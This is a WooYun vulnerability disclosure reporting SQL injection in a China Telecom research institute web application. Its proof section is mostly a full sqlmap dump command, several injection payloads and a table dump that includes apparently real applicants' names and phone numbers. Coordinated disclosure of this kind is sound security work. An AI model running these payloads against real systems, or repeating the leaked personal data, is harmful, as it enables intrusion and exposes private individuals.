当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150043

漏洞标题:中国电信股份有限公司北京研究院某站SQL注入

相关厂商:中国电信

漏洞作者: qhwlpg

提交时间:2015-10-28 21:50

修复时间:2015-12-14 15:04

公开时间:2015-12-14 15:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-28: 细节已通知厂商并且等待厂商处理中
2015-10-30: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

RT

详细说明:

sudo python sqlmap.py -u"**.**.**.**/CTBeacon/ctb/dataStoryByQuery" --data="currentPage=1&sortType=1&timeSort=DESC" -psortType --threads=10 --dump -Ttrialapplication -Dctbeacon
sortType参数存在SQL注入

漏洞证明:

$ sudo python sqlmap.py -u"**.**.**.**/CTBeacon/ctb/dataStoryByQuery" --data="currentPage=1&sortType=1&timeSort=DESC" -psortType --threads=10 --dump -Ttrialapplication -Dctbeacon
_
___ ___| |_____ ___ ___ {1.0-dev-c98bd52}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:36:53
[11:36:53] [INFO] resuming back-end DBMS 'mysql'
[11:36:53] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: sortType
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: currentPage=1&sortType=-9041') OR (6603=6603)#&timeSort=DESC
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: currentPage=1&sortType=1') AND (SELECT 9045 FROM(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT (CASE WHEN (9045=9045) THEN 1 ELSE 0 END)),0x716a767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('xcDN'='xcDN&timeSort=DESC
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: currentPage=1&sortType=1') UNION ALL SELECT CONCAT(0x716b766b71,0x79475362626b666b784a,0x716a767071)#&timeSort=DESC
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: currentPage=1&sortType=1') AND 6044=BENCHMARK(5000000,MD5(0x64717674)) AND ('WRdF'='WRdF&timeSort=DESC
---
[11:36:53] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
Database: ctbeacon
[6 tables]
+-------------------+
| appstore |
| businesspartner |
| datastory |
| datastorycategory |
| datastorydetail |
| trialapplication |
+-------------------+
Database: ctbeacon
Table: trialapplication
[2 entries]
+--------------------------------------+------+--------------------+--------+------------+---------------------+--------------+--------------+----------------+-------------------+
| ID | NAME | EMAIL | ACTIVE | DEPARTMENT | CREATE_TIME | PHONE_NUMBER | COMPANY_NAME | BUSINESS_AREAS | AREAS_DESCRIPTION |
+--------------------------------------+------+--------------------+--------+------------+---------------------+--------------+--------------+----------------+-------------------+
| 20d345c1-f934-466c-b905-d251fbbbffd4 | 王仿坤 | 18911751700@**.**.**.** | \x01 | 测试 | 2015-06-23 08:13:19 | 18911751700 | 测试 | 其他行业 | 测试 |
| 35bf9f0a-f077-4c52-92bb-073551a0c3f7 | 林子 | 1010007926@**.**.**.** | \x01 | 经理 | 2015-07-17 16:37:50 | 18850199891 | 湖北兄弟林有限则仍是 | 市场研究行业 | <blank> |
+--------------------------------------+------+--------------------+--------+------------+---------------------+--------------+--------------+----------------+-------------------+

修复方案:

过滤,上设备~

版权声明:转载请注明来源 qhwlpg@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-30 15:03

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无


漏洞评价:

评价